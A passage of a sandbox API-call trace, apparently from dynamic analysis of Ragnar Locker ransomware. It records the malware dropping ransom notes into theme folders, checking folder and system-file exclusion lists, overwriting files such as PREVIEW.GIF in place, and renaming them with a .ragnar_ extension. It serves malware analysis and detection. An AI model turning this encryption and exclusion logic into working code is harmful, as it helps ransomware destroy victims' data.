hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0076.532] CloseHandle (hObject=0x10c) returned 1 [0076.532] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" [0076.532] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG.ragnar_FD7BD9FC" [0076.532] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0076.533] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8573, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0076.533] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0076.533] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKY", cAlternateFileName="")) returned 1 [0076.533] lstrcmpiW (lpString1="SKY", lpString2=".") returned 1 [0076.533] lstrcmpiW (lpString1="SKY", lpString2="..") returned 1 [0076.533] lstrcmpiW (lpString1="SKY", lpString2="Windows") returned -1 [0076.533] lstrcmpiW (lpString1="SKY", lpString2="Windows.old") returned -1 [0076.533] lstrcmpiW (lpString1="SKY", lpString2="Tor browser") returned -1 [0076.533] lstrcmpiW (lpString1="SKY", lpString2="Internet Explorer") returned 1 [0076.533] lstrcmpiW (lpString1="SKY", lpString2="Google") returned 1 [0076.533] lstrcmpiW (lpString1="SKY", lpString2="Opera") returned 1 [0076.533] lstrcmpiW (lpString1="SKY", lpString2="Opera Software") returned 1 [0076.533] lstrcmpiW (lpString1="SKY", lpString2="Mozilla") returned 1 [0076.533] lstrcmpiW (lpString1="SKY", lpString2="Mozilla Firefox") returned 1 [0076.533] lstrcmpiW (lpString1="SKY", lpString2="$Recycle.Bin") returned 1 [0076.533] lstrcmpiW (lpString1="SKY", lpString2="ProgramData") returned 1 [0076.533] lstrcmpiW (lpString1="SKY", lpString2="All Users") returned 1 [0076.533] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0076.533] lstrcpyW (in: lpString1=0x1eb638, lpString2="SKY" | out: lpString1="SKY") returned="SKY" [0076.533] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\" [0076.533] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\" [0076.533] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\RGNR_FD7BD9FC.txt" [0076.533] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0076.544] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\*.*" [0076.544] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x43 [0076.544] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0076.544] lstrcpyW (in: lpString1=0x1ea754, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0076.544] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7fde9960, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7fde9960, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0076.544] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0076.544] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7fde9960, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7fde9960, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.544] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0076.544] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0076.544] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0076.544] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2=".") returned 1 [0076.544] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="..") returned 1 [0076.544] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fde9960, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7fde9960, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0076.544] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0076.544] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0076.544] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25f0ff00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x25f0ff00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1413d, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKY.ELM", cAlternateFileName="")) returned 1 [0076.544] lstrcmpiW (lpString1="SKY.ELM", lpString2=".") returned 1 [0076.544] lstrcmpiW (lpString1="SKY.ELM", lpString2="..") returned 1 [0076.544] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a980590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKY.INF", cAlternateFileName="")) returned 1 [0076.544] lstrcmpiW (lpString1="SKY.INF", lpString2=".") returned 1 [0076.544] lstrcmpiW (lpString1="SKY.INF", lpString2="..") returned 1 [0076.545] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7279, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0076.545] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2=".") returned 1 [0076.545] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="..") returned 1 [0076.545] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7279, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0076.545] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0076.545] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7fde9960, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7fde9960, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0076.545] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7fde9960, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7fde9960, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.545] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0076.545] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x43 [0076.545] lstrcpyW (in: lpString1=0x1eab68, lpString2="PREVIEW.GIF" | out: lpString1="PREVIEW.GIF") returned="PREVIEW.GIF" [0076.545] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned=".GIF" [0076.545] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0076.545] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="autorun.inf") returned 1 [0076.545] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="boot.ini") returned 1 [0076.545] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootfont.bin") returned 1 [0076.545] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootsect.bak") returned 1 [0076.545] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgr") returned 1 [0076.545] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgr.efi") returned 1 [0076.545] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgfw.efi") returned 1 [0076.545] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="desktop.ini") returned 1 [0076.545] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="iconcache.db") returned 1 [0076.545] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntldr") returned 1 [0076.545] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.dat") returned 1 [0076.545] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.dat.log") returned 1 [0076.545] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.ini") returned 1 [0076.545] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="thumbs.db") returned -1 [0076.545] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0076.545] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0076.545] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0076.546] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0076.546] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0076.546] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0076.546] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0076.546] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif")) returned 0x20 [0076.546] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0076.546] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=937) returned 1 [0076.546] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x3a0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.546] GetProcessHeap () returned 0x580000 [0076.546] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0076.546] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0076.548] VirtualAlloc (lpAddress=0x0, dwSize=0x3a9, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0076.548] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.548] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0076.548] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3a9, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x3a9, lpOverlapped=0x0) returned 1 [0076.548] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0076.548] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3a9, nNumberOfBytesToLockHigh=0x0) returned 1 [0076.548] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3a9, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x3a9, lpOverlapped=0x0) returned 1 [0076.548] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3a9, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0076.548] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0076.549] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x3a9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.549] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0076.549] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0076.549] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0076.549] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0076.549] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0076.549] GetProcessHeap () returned 0x580000 [0076.549] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0076.549] CloseHandle (hObject=0x100) returned 1 [0076.549] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" [0076.549] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF.ragnar_FD7BD9FC" [0076.549] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0076.551] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fde9960, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7fde9960, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0076.551] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x43 [0076.551] lstrcpyW (in: lpString1=0x1eab68, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0076.551] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\RGNR_FD7BD9FC.txt") returned=".txt" [0076.551] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0076.551] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25f0ff00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x25f0ff00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1413d, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKY.ELM", cAlternateFileName="")) returned 1 [0076.551] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x43 [0076.551] lstrcpyW (in: lpString1=0x1eab68, lpString2="SKY.ELM" | out: lpString1="SKY.ELM") returned="SKY.ELM" [0076.551] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM") returned=".ELM" [0076.551] lstrcmpiW (lpString1="SKY.ELM", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0076.551] lstrcmpiW (lpString1="SKY.ELM", lpString2="autorun.inf") returned 1 [0076.551] lstrcmpiW (lpString1="SKY.ELM", lpString2="boot.ini") returned 1 [0076.551] lstrcmpiW (lpString1="SKY.ELM", lpString2="bootfont.bin") returned 1 [0076.551] lstrcmpiW (lpString1="SKY.ELM", lpString2="bootsect.bak") returned 1 [0076.551] lstrcmpiW (lpString1="SKY.ELM", lpString2="bootmgr") returned 1 [0076.551] lstrcmpiW (lpString1="SKY.ELM", lpString2="bootmgr.efi") returned 1 [0076.551] lstrcmpiW (lpString1="SKY.ELM", lpString2="bootmgfw.efi") returned 1 [0076.551] lstrcmpiW (lpString1="SKY.ELM", lpString2="desktop.ini") returned 1 [0076.551] lstrcmpiW (lpString1="SKY.ELM", lpString2="iconcache.db") returned 1 [0076.551] lstrcmpiW (lpString1="SKY.ELM", lpString2="ntldr") returned 1 [0076.551] lstrcmpiW (lpString1="SKY.ELM", lpString2="ntuser.dat") returned 1 [0076.551] lstrcmpiW (lpString1="SKY.ELM", lpString2="ntuser.dat.log") returned 1 [0076.552] lstrcmpiW (lpString1="SKY.ELM", lpString2="ntuser.ini") returned 1 [0076.552] lstrcmpiW (lpString1="SKY.ELM", lpString2="thumbs.db") returned -1 [0076.552] lstrcmpiW (lpString1=".ELM", lpString2=".db") returned 1 [0076.552] lstrcmpiW (lpString1=".ELM", lpString2=".sys") returned -1 [0076.552] lstrcmpiW (lpString1=".ELM", lpString2=".dll") returned 1 [0076.552] lstrcmpiW (lpString1=".ELM", lpString2=".lnk") returned -1 [0076.552] lstrcmpiW (lpString1=".ELM", lpString2=".msi") returned -1 [0076.552] lstrcmpiW (lpString1=".ELM", lpString2=".drv") returned 1 [0076.552] lstrcmpiW (lpString1=".ELM", lpString2=".exe") returned -1 [0076.552] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.elm")) returned 0x20 [0076.552] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM" (normalized: "c:\\program 